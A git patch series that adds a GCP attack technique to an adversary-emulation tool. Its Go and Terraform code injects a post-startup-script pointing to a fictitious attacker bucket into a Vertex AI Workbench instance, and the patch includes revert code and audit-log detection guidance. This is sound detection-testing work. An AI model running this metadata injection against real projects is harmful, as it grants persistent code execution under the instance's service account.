From bc4815d5cee2bf83fa0becf3f8618ff883a84423 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Thu, 26 Mar 2026 15:02:25 +0100 Subject: [PATCH 1/6] New attack technique: Inject a Malicious Startup Script into a Vertex AI Workbench Instance (gcp.execution.modify-vertex-notebook-startup) Co-Authored-By: Claude Sonnet 4.6 --- ...xecution.modify-vertex-notebook-startup.md | 65 ++++++ docs/attack-techniques/list.md | 1 + .../modify-vertex-notebook-startup/main.go | 190 ++++++++++++++++++ .../modify-vertex-notebook-startup/main.tf | 56 ++++++ v2/internal/attacktechniques/main.go | 1 + 5 files changed, 313 insertions(+) create mode 100755 docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md new file mode 100755 index 000000000..1f81310bc --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md @@ -0,0 +1,65 @@ +--- +title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance +--- + +# Inject a Malicious Startup Script into a Vertex AI Workbench Instance + + slow + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + - Privilege Escalation + + + +## Description + + +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.modify-vertex-notebook-startup +``` +## Detection + + +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. + + diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 7781c1059..d370d4c26 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -101,6 +101,7 @@ This page contains the list of all Stratus Attack Techniques. | [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation | | [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | +| [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./GCP/gcp.execution.modify-vertex-notebook-startup.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation | | [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion | | [GCS Ransomware through client-side encryption](./GCP/gcp.impact.gcs-ransomware-client-side-encryption.md) | [GCP](./GCP/index.md) | Impact | | [GCS Ransomware through individual file deletion](./GCP/gcp.impact.gcs-ransomware-individual-deletion.md) | [GCP](./GCP/index.md) | Impact | diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go new file mode 100644 index 000000000..c861dacd4 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -0,0 +1,190 @@ +package gcp + +import ( + "context" + "crypto/rand" + _ "embed" + "encoding/hex" + "fmt" + "log" + "maps" + "time" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + notebooks "google.golang.org/api/notebooks/v2" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.modify-vertex-notebook-startup", + FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance", + Description: ` +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +`, + Detection: ` +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. +`, + Platform: stratus.GCP, + IsIdempotent: false, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) { + svc, err := notebooks.NewService(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create Notebooks client: %w", err) + } + return svc, nil +} + +func instancePath(projectId, location, instanceName string) string { + return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName) +} + +// waitForNotebooksOperation polls a Notebooks long-running operation until it +// completes or the maximum number of attempts is reached. +func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := range maxAttempts { + op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts) +} + +func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error { + path := instancePath(projectId, location, instanceName) + + // Fetch the current instance to preserve any existing GCE setup fields. + instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to get Workbench instance %s: %w", path, err) + } + + // Preserve existing metadata and inject / remove the post-startup-script key. + metadata := make(map[string]string) + if instance.GceSetup != nil && instance.GceSetup.Metadata != nil { + maps.Copy(metadata, instance.GceSetup.Metadata) + } + + if scriptURL == "" { + delete(metadata, "post-startup-script") + } else { + metadata["post-startup-script"] = scriptURL + } + + patchedGceSetup := ¬ebooks.GceSetup{ + Metadata: metadata, + } + + op, err := svc.Projects.Locations.Instances.Patch(path, ¬ebooks.Instance{ + GceSetup: patchedGceSetup, + }).UpdateMask("gceSetup.metadata").Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err) + } + + return waitForNotebooksOperation(ctx, svc, op.Name) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + // The post-startup-script field only accepts gs:// URIs — the script is fetched + // from GCS when the instance boots, so GCP does not validate the bucket exists at + // patch time. Using a fictitious attacker-controlled bucket simulates the attack. + // GCS bucket names are globally unique, so a random suffix is added to the project + // ID to prevent a third party from pre-registering the bucket name. + var nonce [4]byte + if _, err = rand.Read(nonce[:]); err != nil { + return fmt.Errorf("failed to generate random nonce: %w", err) + } + maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:])) + log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil { + return err + } + + log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil { + return err + } + + log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf new file mode 100644 index 000000000..7a1d53c2b --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf @@ -0,0 +1,56 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = true +} + +resource "google_workbench_instance" "notebook" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = "us-central1-a" + + gce_setup { + machine_type = "e2-standard-2" + + boot_disk { + disk_size_gb = 150 + } + + network_interfaces { + network = google_compute_network.vpc.self_link + } + } +} + +output "instance_name" { + value = google_workbench_instance.notebook.name +} + +output "location" { + value = google_workbench_instance.notebook.location +} + +output "display" { + value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 18dc6a2ad..c8733f99e 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -74,6 +74,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/defense-evasion/remove-vpc-flow-logs" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot" From 5bcd1e961b08ceaf229e5838119fb44c51c6cb6a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Mon, 30 Mar 2026 14:42:47 +0200 Subject: [PATCH 2/6] Add external references for technique documentation Co-Authored-By: Claude Opus 4.6 (1M context) --- .../gcp/execution/modify-vertex-notebook-startup/main.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go index c861dacd4..18b64cc30 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -48,6 +48,8 @@ References: - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction - https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ `, Detection: ` Identify when a Vertex AI Workbench instance's metadata is modified by monitoring From b7d61db4117fce6c67c7a6eb8dc85e2d4cbadf0d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Wed, 1 Apr 2026 10:42:09 +0200 Subject: [PATCH 3/6] Address PR feedback: remove HackTricks refs, regenerate docs Co-Authored-By: Claude Opus 4.6 (1M context) --- ....execution.modify-vertex-notebook-startup.md | 2 ++ docs/attack-techniques/GCP/index.md | 8 ++++++++ docs/index.yaml | 17 +++++++++++++++++ 3 files changed, 27 insertions(+) diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md index 1f81310bc..0bc776fd8 100755 --- a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md +++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md @@ -45,6 +45,8 @@ References: - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction - https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ ## Instructions diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index 9ebe341f3..bfb13a5d9 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -9,6 +9,12 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Steal and Use the GCE Default Service Account Token from Outside Google Cloud](./gcp.initial-access.use-compute-sa-outside-gcp.md) +## Execution + + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + + + ## Persistence - [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md) @@ -30,6 +36,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md) + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + ## Defense Evasion diff --git a/docs/index.yaml b/docs/index.yaml index 39b5864e2..d4dcdc3b7 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -617,6 +617,15 @@ GCP: - Discovery platform: GCP isIdempotent: true + Execution: + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it @@ -749,6 +758,14 @@ GCP: - Privilege Escalation platform: GCP isIdempotent: true + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Azure: Execution: - id: azure.execution.vm-custom-script-extension From 7fb7bdde5551a40afad0b1da7d3f01a9eb06d463 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Thu, 30 Apr 2026 14:24:04 +0200 Subject: [PATCH 4/6] Document Notebooks API requirement for Vertex Workbench technique Address PR feedback: warm-up fails with a 403 when notebooks.googleapis.com is not enabled. Add a note in the technique description so users know to enable the API beforehand. --- ...p.execution.modify-vertex-notebook-startup.md | 2 ++ docs/attack-techniques/GCP/index.md | 1 - .../mitre-attack-coverage-matrices.md | 16 ++++++++-------- .../modify-vertex-notebook-startup/main.go | 2 ++ 4 files changed, 12 insertions(+), 9 deletions(-) diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md index 0bc776fd8..9f8179397 100755 --- a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md +++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md @@ -31,6 +31,8 @@ the instance's service account identity. - Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + Detonation: - Patch the Workbench instance's GCE setup metadata to set diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index bfb13a5d9..fd274202d 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -14,7 +14,6 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) - ## Persistence - [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md) diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index 136837cb5..c1a12097a 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -53,15 +53,15 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently

GCP

- + - - - - - - - + + + + + + +
Initial AccessPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Steal and Use the GCE Default Service Account Token from Outside Google CloudRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshotGCS Ransomware through client-side encryption
Create a GCP Service Account KeyDisable VPC Flow Logs on a SubnetGCS Ransomware through individual file deletion
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
Steal and Use the GCE Default Service Account Token from Outside Google CloudInject a Malicious Startup Script into a Vertex AI Workbench InstanceRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshotGCS Ransomware through client-side encryption
Create a GCP Service Account KeyInject a Malicious Startup Script into a Vertex AI Workbench InstanceDisable VPC Flow Logs on a SubnetGCS Ransomware through individual file deletion
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go index 18b64cc30..bb218402e 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -34,6 +34,8 @@ Warm-up: - Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + Detonation: - Patch the Workbench instance's GCE setup metadata to set From b768703fdb16b5e2be95563356484b2a27c6dafd Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Thu, 30 Apr 2026 15:56:41 +0200 Subject: [PATCH 5/6] Fix staticcheck ST1005: lowercase error strings --- .../gcp/execution/modify-vertex-notebook-startup/main.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go index bb218402e..701067cc7 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -96,14 +96,14 @@ func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opNa } if op.Done { if op.Error != nil { - return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message) + return fmt.Errorf("notebooks operation %s failed: %s", opName, op.Error.Message) } return nil } log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) time.Sleep(pollInterval) } - return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts) + return fmt.Errorf("notebooks operation %s did not complete after %d attempts", opName, maxAttempts) } func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error { From 11308925bceea9e1a5734c6fed3f2b9bd65cae12 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Wed, 20 May 2026 09:30:23 +0200 Subject: [PATCH 6/6] Allow-list new Docker production hostname --- .github/workflows/docker.yml | 1 + .github/workflows/test.yml | 1 + 2 files changed, 2 insertions(+) diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 4a86ffaf0..c77edb070 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -31,6 +31,7 @@ jobs: pipelines.actions.githubusercontent.com:443 pkg-containers.githubusercontent.com:443 production.cloudflare.docker.com:443 + production.cloudfront.docker.com:443 proxy.golang.org:443 sum.golang.org:443 registry-1.docker.io:443 diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index c3231ca73..be9c29b96 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -53,6 +53,7 @@ jobs: dl-cdn.alpinelinux.org:443 github.com:443 production.cloudflare.docker.com:443 + production.cloudfront.docker.com:443 proxy.golang.org:443 registry-1.docker.io:443 storage.googleapis.com:443